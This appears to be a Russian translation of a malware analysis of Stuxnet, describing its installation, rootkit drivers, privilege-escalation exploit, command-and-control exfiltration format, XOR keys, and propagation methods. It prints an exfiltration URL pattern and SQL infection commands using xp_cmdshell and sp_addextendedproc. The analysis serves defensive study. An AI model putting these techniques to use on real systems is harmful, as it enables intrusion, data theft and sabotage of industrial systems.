В последующем Stuxnet проверяет, последней ли он версии или версия в зашифрованном виде на диске новее. Для этого он считывает зашифрованную версию с диска, расшифровывает ее и загружает в память. После того, как Stuxnet загрузится, он вызывает экспорт 6, который возвращает номер версии из своих конфигурационных данных и сравнивает ее с номером версии файла на диске. Таким образом, Stuxnet может считывать номер версии из собственных данных конфигурации и сравнивать его с номером версии из файла на диске. Если версии совпадают, то Stuxnet продолжает работу.

Пройдя проверку номера версии, Stuxnet извлекает из раздела ресурсов, дешифрует и записывает на диск два файла “Mrxnet.sys“ и “Mrxcls.sys” из ресурсов 201 и 242 соответственно. Это файлы драйвера; один служит точкой загрузки, а другой используется для того, чтобы скрыть вредоносные файлы на зараженном компьютере и заменять своими файлами те, которые он удалил. Механика обоих файлов разобрана в разделах «Точка загрузки» и «Функциональность Rootkit». Чтобы избежать подозрений, время файлов “Mrxnet.sys” и “Mrxcls.sys” изменяется на время других файлов в данной системной папке. Внедрив эти файлы, Stuxnet создает записи в реестре, необходимые для того, чтобы загружать эти файлы как сервисы, которые автоматически запускаются при запуске Windows.

Установив, что руткит установлен правильно, Stuxnet создает несколько более глобальных мьютексов, чтобы просигнализировать, что установка прошла успешно.

Далее он передает управление двум другим экспортам, чтобы продолжить процедуры инсталляции и инфицирования. Во-первых, он внедряет боевой [payload] .dll файл в процесс services.exe и вызывает экспорт 32, который должен заражать сменные носители и запускать RPC сервер. Во-вторых, Stuxnet внедряет тот же .dll файл в процесс S7tgtopx.exe программы Step7 и вызывает экспорт 2. Чтобы сделать это, Stuxnet должен убить процессы explorer.exe и S7tgtopx.exe, если они работают. Экспорт 2 использует для инфицирования всех файлов проекта Step7.

Начиная с этой точки выполнение Stuxnet продолжается через эти два внедрения и через драйверные файлы и сервисы, которые были созданы.

Затем Stuxnet ожидает некоторое время перед тем, как попытаться соединиться с RPC сервером, который был запущен экспортом 32. Он вызовет функцию 0 для проверки, что он может подключиться и затем он делает запрос к функции 9, чтобы принять некоторую информацию, сохраняя эти данные в log-файле под именем oem6c.pnf.

С этого момента все процедуры по заражению и размещению активированы.

Локальное повышение приоритета Windows Win32k.sys

Stuxnet использовал уязвимость 0-дня в win32k.sys, используемую для локального повышения приоритета. Уязвимость была исправлена 12 октября 2010 г. Уязвимость находится в коде, который вызывает некую функцию в таблице указателей функции; однако, индекс в таблице должным образом не проверяется, позволяя вызвать код из-за пределов таблицы функции.

Процедура установки в экспорте 15 извлекает и выполняет Ресурс 250, содержащую DLL, которая вызывает эксплойт локального повышения приоритета. Эта DLL содержит единственный экспорт - Tml_1. Этот код сначала проверяет, что исполнительная среда не является 64-разрядной системой, а является Windows XP или Windows 2000.

Если файл snsm7551.tmp существует, выполнение прекращается, в ином случае создается файл ~DF540C.tmp, который обеспечивает рабочий [in-work] маркер.

Далее win32k.sys загружается в память, и находится уязвимый табличный указатель функции. Затем Stuxnet будет проверять DWORDs [ДСЛОВа=Двойные_слова], которые идут за таблицей функции, чтобы найти, что подходящее ДСЛОВО перегружается как виртуальный адрес, который будет вызван. При передаче чрезмерно большого индекса в таблицу функции, выполнение передается коду, находящемуся в одном из ДСЛОВ после таблицы функции. Эти ДСЛОВа - просто данные, используемые где-то в win32k.sys, но перехваченные Stuxnet. Например, если ASCII-строка “aaaa” (DWORD 0x60606060) располагается после таблицы функции, Stuxnet разместит код оболочки [shellcode] по адресу 0x60606060 и затем передаст чрезмерно большой индекс таблицы функции, который указывает на DWORD “aaaa” (0x60606060).

Поскольку имеющееся место по этому адресу (в вышеупомянутом примере 0x60606060) может быть ограничено, Stuxnet использует стратегию двухэтапного кода оболочки [shellcode]. Память выделяется для основного кода оболочки [shellcode] и по выбранному перехваченному адресу. Stuxnet размещает лишь малую часть кода оболочки [shellcode], который перейдет к основному коду оболочки [shellcode].

Далее Stuxnet помещает бесформенный файл раскладки клавиатуры в каталог Temp с именем файла ~DF<случайный>.tmp [~DF.tmp]. Этот бесформенный файл раскладки клавиатуры содержит некий байт, который приведет к тому, что в таблице функции будет чрезмерно большой индекс. Чтобы загрузить бесформенный файл раскладки клавиатуры, успешно вызывающий этот эксплойт, вызывается NtUserLoadKeyboardLayoutEx. Исходная раскладка клавиатуры восстанавливается, после чего бесформенный файл раскладки клавиатуры удаляется.

Затем код оболочки [shellcode] загружает основную DLL Stuxnet в контекст CSRSS.EXE.

Точка загрузки

Stuxnet с помощью экспорта 16 размещает ресурс 242 как “Mrxcls.sys”. Mrxcls.sys – это драйвер, подписанный сертификатом фирмы Realtek, который 16 июля 2010 г. был отозван компанией Verison. Были найдены также другие версии этого драйвера, подписанные другим цифровым сертификатом от фирмы JMicron.

Файл Mrxcls.sys является драйвером, который позволяет Stuxnet выполняться каждый раз, когда загружается зараженная система, и таким образом служит главной точкой загрузки для данной угрозы. Этот драйвер регистрируется в качестве сервиса, запускаемого при загрузке, посредством ключа реестра HKEY_ LOCAL_MACHINESYSTEMCurrentControlSetServicesMRxCls”ImagePath” = “%System%driversmrxcls.sys”, таким образом загружаясь рано в процессе загрузки Windows.

Целью этого драйвера является внедрение и выполнение копий Stuxnet в специфических процессах.

Драйвер содержит зашифрованный блок данных. После расшифровки этот блок содержит (среди прочего) пару ключ/значение реестра, которой обычно является HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Services MrxCls «Data».

Драйвер считывает это двоичное значение (ранее заданное Stuxnet в процессе установки). Значение расшифровано. Он содержит список пар (имя целевого процесса, модуль для внедрения):

services.exe - % Windir% inf oem7A.PNF;
S7tgtopx.exe - % Windir% inf oem7A.PNF;
CCProjectMgr.exe - % Windir% inf oem7A.PNF;
explorer.exe - % Windir% inf oem7m.PNF.

А именно, в процессы services.exe, s7tgtopx.exe (менеджер Simatic) и CCProjectMgr.exe (менеджер проекта WinCC) вставляется модуль oem7a.pnf, который является копией основного .dll файла Stuxnet. После внедрения Stuxnet запускается на зараженном компьютере.

В explorer.exe должен внедриться модуль oem7m.pnf – это неизвестный файл, который не появлялся в доступных версиях Stuxnet.

Контроль и управление

После того, как вирус установил сам себя, разместил свои файлы и собрал некоторую информацию о системе, он контактирует с сервером контроля и управления на порту 80 и по протоколу HTTP посылает организатору атаки некую базовую информацию о зараженном компьютере. Два сервера контроля и управления известны как:

www[.]mypremierfutbol[.]com;
www[.]todaysfutbol[.]com.

Эти два URL-адреса ранее указывали на сервера в Малайзии и Дании, однако позже были перенаправлены, чтобы предотвратить атакующим возможность контроля над зараженными компьютерами. Вирус имеет возможность обновить домены контроля и управления, но файлов с обновленной конфигурацией замечено не было. Файл конфигурации с именем% Windir% inf mdmcpq3.PNF считывается, и обновленная информация о конфигурации из этого файла записывается в основную dll, а контрольная сумма dll пересчитывается, чтобы убедиться, что она по-прежнему верна.

Системные данные собираются экспортом 28 и состоят из следующей информации в данном формате:

Часть 1:

0x00	byte	1, fixed value
0x01	byte	from Configuration Data (at offset 14h)
0x02	byte	OS major version
0x03	byte	OS minor version
0x04	byte	OS service pack major version
0x05	byte	size of part 1 of payload
0x06	byte	unused, 0
0x07	byte	unused, 0
0x08	dword	from C. Data (at offset 10h, Sequence ID)
0x0C	word	Unknown
0x0E	word	OS suite mask
0x10	byte	unused, 0
0x11	byte	Flags
0x12	string	computer name, null-terminated
0xXX	string	domain name, null-terminated

Часть 2, следующая за первой частью:

0x00	dword	IP address of interface 1, if any
0x04	dword	IP address of interface 2, if any
0x08	dword	IP address of interface 3, if any
0x0C	dword	from Configuration Data (at offset 9Ch)
0x10	byte	unused, 0
0x11	string	copy of S7P string from C. Data (418h)

Обратите внимание, что полезная нагрузка содержит имя компьютера и домена, а также информацию об ОС. У флагов со смещением 11h установлен 4-й бит на случай, если будет обнаружено хотя бы одно из двух значений реестра:

HKEY_LOCAL_MACHINE Software Siemens Step7, value: STEP7_Version;
HKEY_LOCAL_MACHINE Software Siemens WinCC Setup, value: Version.

Это сообщает злоумышленникам, что на устройстве запущено целевое программное обеспечение для программирования ICS Siemens Step7 или WinCC.

Затем данные полезной нагрузки подвергаются операции исключающей ИЛИ [XOR] с байтовым значением 0xFF.

После сбора данных будет выполнен экспорт №29 (с использованием ранее упомянутой техники внедрения) для отправки полезной нагрузки на целевой сервер. Целевым процессом может быть существующий процесс Internet Explorer (iexplore. Exe) по умолчанию, или, если процесс iexplore.exe не обнаружен, то целевой процесс браузера будет определен путем проверки ключа реестра HKEY_CLASSES_ROOT HTTP SHELL OPEN COMMAND. Затем создается и внедряется процесс браузера для запуска Export # 29.

Экспорт 29 используется для того, чтобы послать информацию одному из серверов Stuxnet, указанных в блоке данных конфигурации. Перед этим, чтобы проверить сетевое подключение, запрашивается один из двух легитимных веб-серверов, указанных в блоке конфигурационных данных:

Если тест проходит, формируется сетевой пакет в следующем формате:

0x00	dword	1, fixed value
0x04	clsid	unknown
0x08	byte[6]	unknown
0x0C	dword	IP address of main interface
0x10	byte[size]	payload

Затем полезная нагрузка подвергается операции XOR со статической 31-байтовой байтовой строкой, находящейся внутри Stuxnet:

0x67, 0xA9, 0x6E, 0x28, 0x90, 0x0D, 0x58, 0xD6, 0xA4, 0x5D, 0xE2, 0x72, 0x66, 0xC0, 0x4A, 0x57, 0x88, 0x5A, 0xB0, 0x5C, 0x6E, 0x45, 0x56, 0x1A, 0xBD, 0x7C, 0x71, 0x5E, 0x42, 0xE4, 0xC1

Результат подгоняется под «шестнадцатеричный» (для преобразования двоичных данных в строку ascii). Например, последовательность байтов (0x12, 0x34) становится строкой «1234».

Затем полезная нагрузка отправляются на один из двух вышеупомянутых URL-адресов в качестве параметра «данные». Например:

[http://]www.mypremierfutbol.com/index.php?data=1234...

Использование протокола HTTP, а также чистых параметров ASCII – это распространенный способ обхода правил блокировки корпоративного брандмауэра вредоносными программами (и обычными приложениями тоже).

Сервер, пораженный Stuxnet, обрабатывает запрос и может отправить ответ клиенту. Полезные данные ответа находятся в разделе HTTP Content. В отличие от полезной нагрузки, отправляемой клиентом, это чисто двоичные данные. Однако он зашифрован следующим статическим ключом XOR длиной 31 байт:

0xF1, 0x17, 0xFA, 0x1C, 0xE2, 0x33, 0xC1, 0xD7, 0xBB, 0x77, 0x26, 0xC0, 0xE4, 0x96, 0x15, 0xC4, 0x62, 0x2E, 0x2D, 0x18, 0x95, 0xF0, 0xD8, 0xAD, 0x4B, 0x23, 0xBA, 0xDC, 0x4F, 0xD7, 0x0C

Расшифрованный ответ сервера имеет следующий формат:

0x00	dword	payload module size (n)
0x04	byte	command byte, может быть 0 или 1
0x05	byte[n]	payload module (Windows executable)

В зависимости от байта команды модуль полезной нагрузки загружается либо в текущий процесс, либо в отдельный процесс через сервис вызова удаленных процедур [RPC]. Затем выполняется экспорт №1 модуля полезной нагрузки.

Эта функция дает Stuxnet возможность загрузить с «черного хода» и запустить любой код на зараженном устройстве (до того, как домены *futbol* были блокированы). С начала записи трафика никаких исполняемых файлов, посланных атакующими, обнаружено не было, но этот метод, вероятно позволял им загрузить и исполнить дополнительные средства или поставить обновленные версии Stuxnet.

Рисунок 12

Контроль и управление

1 и 2: проверить соединение с интернетом

3: направить системную информацию на сервер контроля и управления

4а: ответ сервера контроля и управления для выполнения вызова удалённых процедур [RPC]

4b: ответ сервера контроля и управления для выполнения зашифрованного бинарного кода.

Функциональность Rootkit’а Windows

Stuxnet имеет возможность скрыть копии своих файлов, которые были скопированы на съемные диски. Это препятствует тому, чтобы пользователи заметили то, что их съемный диск заражен перед тем, как они используют его на другом компьютере, и также не дает этим пользователям понять, что съемный диск был источником инфекции.

Stuxnet через экспорт 16 извлекает ресурс 201 как MrxNet.sys. Этот драйвер регистрируется как сервис, создавая следующую запись реестра:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMRxNet”ImagePath” = “%System%drivers mrxnet.sys”

Этот файл драйвера подписан в цифровой форме помощью легального цифрового сертификата Realtek. 16 июля 2010 г. компанией Verisign этот сертификат был признан взломанным и был отозван.

Драйвер сканирует следующие объекты драйвера файловой системы:

FileSystemntfs;
FileSystemfastfat;
FileSystemcdfs.

Stuxnet создает новый объект устройства и присоединяет его к цепочке устройства для каждого объекта устройства, управляемого этими объектами драйвера. Драйвер MrxNet.sys будет управлять этим объектом драйвера. Вставляя такие объекты, Stuxnet способный перехватить запросы IRP (например: записи, чтения, к устройствам NTFS, FAT или устройствам CD-ROM).

Драйвер также регистрируется в регистрационной подпрограмме обратного вызова файловой системы, чтобы цепляться ко вновь создаваемым объектам файловой системы на лету.

Драйвер осуществляет мониторинг прерываниями [IRP] на «управление каталогом», в частности, уведомлениями о «запросе каталога». Такие IRP отправляются в устройство, когда пользовательская программа просматривает каталог, и запрашивают список файлов, которые устройство содержит в настоящий момент.

От результата запроса каталога отфильтровываются два типа файлов:

Файлы с расширением “.LNK”, имеющее размер 4 171 байт;
Файлы с именем “~WTR [FOUR NUMBERS].TMP” (“~WTR[FOUR NUMBERS].TMP”), размер которых - между 4 Кб и 8 МБ; сумма этих четырех чисел по модулю 10 равна нулю. Например, 4+1+3+2=10=0 по модулю 10.

Эти фильтры скрывают файлы, используемые Stuxnet для распространения через съемные диски, включая:

Copy of Copy of Copy of Copy of Shortcut to.lnk;
Copy of Copy of Copy of Shortcut to.lnk;
Copy of Copy of Shortcut to.lnk;
Copy of Shortcut to.lnk;
~wtr4132.tmp;
~wtr4141.tmp.

В файле драйвера путь проекта b:myrtussrcobjfre_w2k_x86i386 guava.pdb не был удален.

Гуавы – род растения семейства myrtle (myrtus). У данной строки нет никакого существенного значения; однако, обсуждались разные интерпретации. Myrtus может быть MyRTUs («Мои RTU»). RTU обозначает удаленный терминальный модуль (remote terminal unit), они подобны ПЛК (PLC) и в некоторых средах используются в качестве синонима для ПЛК. Кроме того, согласно Википедии, «Первоначально Эстер звали Хадасса. «Хадасса» на иврите означает «мирт». Есфирь узнала о заговоре с целью убийства царя и «рассказала царю о плане Амана уничтожить всех евреев в Персидской империи... Евреи продолжали убивать только своих потенциальных палачей». Symantec предостерегает читателей не делать какие-либо выводы. У злоумышленников будет естественное желание привлечь к себе внимание другой стороны.

Методы размножения Stuxnet

Stuxnet может размножаться по-разному. Stuxnet инфицирует сменные носители, а также копирует себя по сети, используя много различных методов, включая два эксплойта. Кроме того, Stuxnet копирует себя в проекты Step7, используя метод, который вызывает автозапуск Stuxnet при открытии проекта. В следующих разделах описывается сеть, съемный диск и процедуры распространения проекта Step 7.

Процедуры сетевого размножения

Экспорт 22 отвечает за большинство процедур сетевого размножения, которые использует Stuxnet. Этот экспорт создает класс “Network Action”, который содержит 5 подклассов. Каждый подкласс отвечает за свой метод заражения удаленного хоста.

Функции этих 5 подклассов следующие:

Соединение точка-к-точке и обновления;
Инфицирование устройств WinCC через фиксированный код [hardcoded] пароля сервера базы данных;
Размножение через разделение сети;
Размножение через уязвимость нулевого дня буфера печати (MS10-061);
Размножение через уязвимость сервиса сервера Windows (MS08-067).

Каждый из этих подклассов описан в деталях ниже.

Связь Точка-к-точке (P2P)

Компонент P2P работает путем установки сервера и клиента вызова удаленных процедур RPC. Когда угроза заражает компьютер, он запускает RPC-сервер и прослушивает соединения. Любой другой скомпрометированный компьютер в сети может подключиться к серверу RPC и спросить, какая версия угрозы установлена на удаленном компьютере.

Если удаленная версия более новая, локальный компьютер запросит новую версию и обновится с ней. Если удаленная версия старше, локальный компьютер подготовит свою копию и отправит ее на удаленный компьютер, чтобы он мог обновить себя. Таким образом, обновление может быть введено на любой взломанный компьютер в сети и в конечном итоге распространится на все другие скомпрометированные компьютеры.

Все запросы P2P выполняются через RPC, как описано ниже.

Сервер RPC предлагает следующие процедуры. (Обратите внимание, что методы RPC 7, 8, 9 не используются Stuxnet).

0: возвращение номера версии установленного Stuxnet;

1: Получение файл .exe и выполните его (через инъекцию);

2: Загрузка модуля и выполнение экспорта;

3. Вставьте код в lsass.exe и запустите его;

4: Сбор последней версии Stuxnet и отправка на взломанный компьютер;

5: Создание процесса;

6: Чтение файла;

7: Перенос файла;

8: Удаление файла;

9: Запись данных.

Рисунок 13

Пример старого клиента, запрашивающего последнюю версию Stuxnet через P2P

Клиент RPC делает следующие запросы:

1. Вызов функции RPC 0, чтобы получить номер удаленной версии;

2. Проверка номера удаленной версии – новее ли он чем номер локальной сети;

3. Если номер удаленной версии новее, то:

a. Вызов функции RPC 4, чтобы запросить последнюю версию Stuxnet exe;

b. Получение последней версии Stuxnet;

c. Локальная установка червя (через внедрение в процесс);

4. Если номер удаленной версии старее, то:

5. Подготовка автономного файла .exe локальной версии Stuxnet;

6. Отправка файла .exe на удаленный компьютер, вызвав функцию RPC 1.

При попытке подключиться к удаленному серверу RPC этот класс использует следующую логику.

Он будет пытаться вызвать функцию RPC 0 для каждой из следующих привязок по очереди, если какой-либо вызов RPC завершится успешно, то Stuxnet продолжит эту привязку:

1. ncacn_ip_tcp:IPADDR[135]

2. ncacn_np:IPADDR[pipentsvcs]

3. ncacn_np:IPADDR[pipebrowser]

Затем он попытается выдать себя за анонимный токен и попробует следующую привязку:

4. ncacn_np:IPADDR[pipebrowser]

Затем он возвращается к своему собственному токену и, наконец, пытается выполнить вычисление через диспетчер управления службами (SCM) в поисках любых других привязок, которые могут быть доступны:

5. ncacn_ip_tcp:IPADDR (поиск в SCM доступных сервисов).

Если любая из вышеперечисленных привязок правильно отвечает на функцию 0 RPC, то Stuxnet обнаружиает удаленный зараженный компьютер. Функция RPC 0 возвращает номер версии удаленного заражения Stuxnet. На основе этого номера версии Stuxnet либо отправит свою копию на удаленный компьютер, либо запросит копию последней версии с удаленного компьютера и установит ее.

Функция 1 RPC вызывается для получения последней версии с удаленного компьютера, а функция 4 RPC вызывается для отправки последней версии Stuxnet на удаленный компьютер.

Конечно, Stuxnet не просто выполняет полученный исполняемый файл. Вместо этого он вводит его в выбранный процесс и выполняет его таким образом, как описано в разделе «Внедрение в процесс».

Кроме того, Stuxnet на самом деле является файлом .dll, поэтому для того, чтобы отправить атакующему исполняемую версию самого себя, Stuxnet должен сначала её создать. Для этого он считывает файл шаблона .exe из ресурса 210 и заполняет его всеми дополнительными деталями, необходимыми для создания исполняемой версии установленной в данный момент версии Stuxnet, включая последние данные конфигурации и информацию о текущем зараженном компьютер.

Поскольку механизм точка-к-точке происходит через сервис удаленных процедур [RPC], маловероятно, что он станет альтернативным методом управления и контроля, поскольку RPC обычно эффективен только в локальной сети [LAN]. Назначение механизма точка-к-точке, вероятно, позволит злоумышленникам достичь компьютеров, которые не имеют исходящего доступа к общему интернету, но при этом могут связываться с другими компьютерами в локальной сети, которые были заражены и могут связаться серверами контроля и управления.

Инфицирование компьютеров WinCC

Этот класс отвечает за подключение к удаленному серверу, на котором запущено программное обеспечение базы данных WinCC. Когда Stuxnet находит систему, на которой работает программа базы данных WinCC, он подключается к этому серверу базы данных, используя пароль, который «зашит» в программе WinCC. Подключившись, Stuxnet выполняет два действия. Во-первых, он посылает свой SQL-код в базу данных, который позволяет передать версию Stuxnet и выполнить его на компьютере с WinCC, инфицировав тем самым этот компьютер. Во- вторых, Stuxnet модифицирует существующее представление [view], добавляя код, который выполнятся всякий раз, как к этому представлению получают доступ.

После посылки конфигурационного SQL-запроса, Stuxnet посылает SQL-команду, которая создает таблицу и вставляет некое двоичное значение в эту таблицу. Это двоичное значение является шестнадцатеричной строкой, представляющей основную DLL Stuxnet в качестве исполняемого файла (формируемый с использованием ресурса 210) и обновленный блок конфигурационных данных.

CREATE TABLE sysbinlog ( abin image ) INSERT INTO sysbinlog VALUES(0x...)

Если операция успешна, Stuxnet использует процедуры сохранения OLE Automation, чтобы записать себя из базы данных на диск, как %UserProfile%sql[RANDOM VALUE].dbi.

Затем этот файл добавляется как сохраненная процедура и выполняется.

SET @ainf = @aind + ‘sql%05x.dbi’

EXEC sp _ addextendedproc sp _ dumpdbilog, @ainf

EXEC sp _ dumpdbilog

Потом сохраненная процедура удаляется, и файл основной DLL также удаляется.

Запустившись локально на компьютере с установленной программой WinCC, Stuxnet сохраняет также некий .cab-файл, полученный из ресурса 203 на этом компьютере, как GracScc_tlg7.sav. Этот .cab-файл содержит DLL начальной загрузки, имеющей цель загрузить основную DLL Stuxnet, расположенную в GracScc_alg.sav. Далее Stuxnet модифицирует представление MCPVREADVARPERCON для извлечения из поля syscomments.text SQL-кода для исполнения. Этот SQL-код, записанный в syscomments.text, расположен между маркерами –CC-SP и --*.

В частности, Stuxnet сохранит и выполнит SQL-код, который извлечет и запустит Stuxnet из сохраненного CAB-файла, используя xp_cmdshell.

set @t=left(@t,len(@t)-charindex(‘’,reverse(@t)))+’GraCScc _ tlg7.sav’;

set @s = ‘master..xp _ cmdshell ‘’extrac32 /y “’+@t+’” “’+@t+’x”’’’; exec(@s);

Затем извлеченная DLL будет добавлена как сохраненная процедура, выполнена и удалена. Это позволяет Stuxnet исполнять себя и гарантировать, что он останется резидентным.

Распространение через сетевые ресурсы

Stuxnet также может распространяться на доступные сетевые ресурсы посредством запланированного задания или с помощью инструментария управления Windows (WMI).

Stuxnet подсчитает все учетные записи пользователей компьютера и домена и попробует все доступные сетевые ресурсы либо с использованием токена учетных данных пользователя, либо с помощью операций WMI с токеном explorer.exe, чтобы скопировать и исполнить себя на удаленном общем ресурсе.

Stuxnet определит, доступен ли общий ресурс ADMIN $ для создания общего имени основного диска (например C $). Исполняемый файл создается с использованием ресурса 210 и настраивается с использованием основного кода DLL и последнего блока данных конфигурации. После подсчета каталогов сетевого ресурса исполняемый файл копируется как случайное имя файла в форме DEFRAG [RANDLNT] .tmp. Затем планируется сетевое задание для выполнения файла через две минуты после заражения.

Тот же процесс происходит без использования WMI с токеном explorer.exe вместо использования токена учетных данных пользователя.

Уязвимость нулевого дня диспетчера очереди печати MS10-061

Это уязвимость диспетчера очереди печати нулевого дня, исправленная Microsoft в MS10-061. Хотя сначала считалось, что это была частным образом обнаруженная/ раскрытая уязвимость, позже было выявлено, что эта уязвимость была впервые опубликована в выпуске журнала по безопасности Hakin9 номер 2009-4 и с тех пор была общедоступной, однако наличие этой уязвимости в действии не было установлено.

Эта уязвимость позволяет записать файл в папку %System% уязвимых устройств. Фактический код для проведения атаки хранится в ресурсе 222; этот экспорт загружает DLL, хранящуюся в этом ресурсе, и подготавливает параметры, необходимые для выполнения атаки, а именно IP-адрес и копию червя, а затем вызывает экспорт из загруженной DLL. Используя эту информацию, Stuxnet может скопировать себя на удаленные компьютеры как %System%winsta.exe через диспетчер очереди печати принтера, а затем выполнить себя. Winsta.exe может содержать несколько копий Stuxnet и расти до слишком больших размеров

Stuxnet будет пытаться использовать MS10-061, только если текущая установленная дата до 1 июня 2011 года.

Уязвимость службы Windows Server MS08-067

Кроме того, Stuxnet также использует MS08-067 - ту же уязвимость, которой пользуется W32.Downadup. MS08-067 может быть использован путем подключения через SMB и отправки неверно сформированной строки пути, допускающей произвольное выполнение. Stuxnet использует эту уязвимость для копирования себя на незащищенные удаленные компьютеры.

Stuxnet проверит следующие условия перед использованием MS08-67:

Текущая дата должна быть до 1 января 2030 г.;
Определения антивируса для различных антивирусных продуктов, датированные до 1 января 2009 г.;
Временные метки Kernel32.dll и Netapi32.dll после 12 октября 2008 г. (до дня исправления).

Распространение через съемный диск

Один из основных методов распространения Stuxnet - это самокопирование на вставленные съемные диски. Системы контроля производством обычно программируются компьютером под управлением Windows, не подключенным к сети, и операторы часто обмениваются данными с другими компьютерами с помощью съемных дисков. Stuxnet использовал два метода для распространения на съемные диски и со съемных дисков: один - с использованием уязвимости, которая позволяла автоматически запускаться при просмотре съемного диска, а другой - с использованием файла autorun.inf.

Уязвимость LNK (CVE-2010-2568)

Stuxnet копирует себя и свои вспомогательные файлы на доступные съемные диски каждый раз, как вставляется съемный диск, и имеет возможность сделать это при конкретном указании. Копирование на съемный диск реализуется с помощью экспортов 1, 19 и 32. Экспорт 19 должен быть вызван другим кодом, после чего он немедленно выполняет процедуру копирования. Экспорты 1 и 32 регистрируют рутины, чтобы дождаться, пока не будет вставлен съемный диск. Экспорты, вызывающие копирование на съемные диски, также удаляют заражения на съемных дисках, в зависимости от значения конфигурации, хранящегося в блоке данных конфигурации. Stuxnet удаляет файлы с зараженного съемного диска по различным причинам. Например, после заражения съемным диском трех компьютеров файлы на этом диске будут удалены.

При вызове из экспортов 1 или 32 Stuxnet сначала проверит, запущен ли он в services.exe, и определит, в какой версии Windows он работает. Затем он создает новое скрытое окно с именем класса AFX64c313, которое ожидает вставки съемного диска (через сообщение WM_DEVICECHANGE), проверяет, что он содержит логический том (имеет тип DBT_DEVTYP_VOLUME) и является съемным диском (имеет тип диска DEVICE_REMOVABLE). Для заражения диска текущее время должно быть до 24 июня 2012 г.

Затем Stuxnet определяет букву вновь вставленного диска и считывает данные конфигурации, чтобы определить, следует ли ему удалить себя со съемного диска или скопировать себя на него. При удалении Stuxnet удаляет следующие файлы:

%DriveLetter%~WTR4132.tmp
%DriveLetter%~WTR4141.tmp
%DriveLetter%Copy of Shortcut to.lnk
%DriveLetter%Copy of Copy of Shortcut to.lnk
%DriveLetter%Copy of Copy of Copy of Shortcut to.lnk
%DriveLetter%Copy of Copy of Copy of Copy of Shortcut to.lnk

Если съемный диск должен быть заражен, сначала проверяется, подходит ли он на основании следующих условий:

Диск был не только что заражен – определяется по текущему времени;
Должен быть установлен флаг конфигурации для заражения съемных дисков, иначе заражение происходит в зависимости от даты, но это не установлено по умолчанию;
Инфекции менее 21 дней;
На диске не менее 5 мб свободного места;
На диске есть минимум 3 файла.

Если эти условия соблюдены, то создаются следующие файлы:

%DriveLetter%~WTR4132.tmp (~500Kb) (Этот файл содержит основную DLL Stuxnet в разделе заглушек и является производным от ресурса 210.)
%DriveLetter%~WTR4141.tmp (~25Kb) (Этот файл загружает ~WTR4132.tmp и происходит от ресурса 241.)
%DriveLetter%Copy of Shortcut to.lnk
%DriveLetter%Copy of Shortcut to.lnk
%DriveLetter%Copy of Shortcut to.lnk
%DriveLetter%Copy of Shortcut to.lnk

Файлы .lnk создаются с использованием ресурса 240 в качестве шаблона. Таких файлов и необходимо четыре, поскольку каждый специально предназначен для одной или нескольких различных версий Windows, включая Windows 2000, Windows XP, Windows Server 2003, Windows Vista и Windows 7. Файлы .lnk содержат эксплойт, который автоматически запускает ~ WTR4141.tmp при простом просмотре папки.

~ WTR4141.tmp затем загружает ~ WTR4132.tmp, но перед этим пытается скрыть файлы на съемном диске. Для вируса важно скрыть файлы на съемном диске как можно раньше в процессе заражения, поскольку функции руткита еще не установлены, как описано в разделе «Функции Rootkit’а Windows». Таким образом, ~ WTR4141.tmp тем временем реализует свой собственный, менее надежный метод.

~ WTR4141.tmp цепляет следующие API из kernel32.dll и Ntdll.dll:

Из Kernel32.dll

FindFirstFileW
FindNextFileW
FindFirstFileExW

Из Ntdll.dll

NtQueryDirectoryFile
ZwQueryDirectoryFile

Он заменяет исходный код для этих функций на код, который проверяет файлы со следующими свойствами:

Файлы с расширением .lnk размером 4 171 байт.
Файлы с именами ~ WTRxxxx.TMP размером от 4 Кб до 8 Мб, где xxxx это:
- 4 десятичных знака. (~ wtr4132.tmp)
- Сумма этих цифр по модулю 10 равна нулю. (Пример: 4 + 1 + 3 + 2 = 10 = 0 по модулю 10)

Если делается запрос на перечисление файла с указанными выше свойствами, ответ от этих API изменяется, чтобы указать, что файл не существует, тем самым скрывая все файлы с этими свойствами.

После подключения DLL API загружается ~ WTR4132.tmp. Чтобы загрузить файл .dll в обычном режиме, программа вызывает API «Загрузить библиотеку» с именем файла .dll, который должен быть загружен в память. W32.Stuxnet использует другой подход, причем не только в первом файле .dll, но и в нескольких различных частях кода. Этот метод описан в разделе «Обход блокировки поведения при загрузке библиотек DLL»

~ WTR4132.tmp содержит основную DLL Stuxnet в разделе .stub. Он извлекается в память, а затем экспорт 15 библиотеки DLL вызывается при установке Stuxnet. Экспорт 15 описан в разделе «Установка».

Диаграмма, представленная ниже, описывает поток выполнения.

Рисунок 14

Поток выполнения USB

AutoRun.Inf

Предыдущие версии Stuxnet не использовали эксплойт LNK нулевого дня, а вместо этого распространялись через файл autorun.inf. Ресурс 207 - это файл размером 500 Кб, который присутствовал только в старой версии Stuxnet и был удален в новой.

Файл autorun.inf - это файл конфигурации, размещенный на съемных дисках, который дает указание Windows автоматически запускать файл на съемном диске когда он вставлен. Как правило, файл autorun.inf и исполняемый файл помещают в корневой каталог диска. Однако Stuxnet использует один файл. Ресурс 207 - это исполняемый файл, который в конце также содержит правильно отформатированный раздел данных autorun.inf.

Когда файлы autorun.inf анализируются операционной системой Windows, этот синтаксический анализ оказывается довольно щадящим, что означает, что любые символы, которые не воспринимаются как допустимые команды автозапуска, пропускаются. Stuxnet использует это в своих интересах, помещая файл MZ первым в файл autorun.inf. Во время синтаксического анализа файла autorun.inf весь файл MZ будет проигнорирован до тех пор, пока не встретятся допустимые команды автозапуска, добавленные в конец файла. См. верхний и нижний колонтитулы файла autorun.inf, как показано на следующих схемах.

Рисунок 15

Верхний колонтитул Autorun.inf

Рисунок 16

Нижний колонтитул Autorun.inf

Когда мы показываем только строки из нижнего колонтитула, мы видим, что они состоят из настоящих команд автозапуска:

Рисунок 17

Скрытые команды autorun

Обратите внимание, что Stuxnet использует команды автозапуска, чтобы указать исполняемый файл как фактический файл autorun.inf. Используя этот трюк, файл autorun.inf сначала будет рассматриваться как законный файл autorun.inf, а затем как законный исполняемый файл.

В дополнение к этому Stuxnet также использует еще один прием, чтобы повысить шансы на то, что он будет выполнен. Команды автозапуска отключают автоматическое проигрывание, а затем добавляют новую команду в контекстное меню. Добавляемая команда находится в %Windir%System32shell32.dll,-8496. На самом деле это «открытая» строка. Теперь при просмотре контекстного меню съемного устройства пользователь фактически увидит две команды «Открыть» [Open].

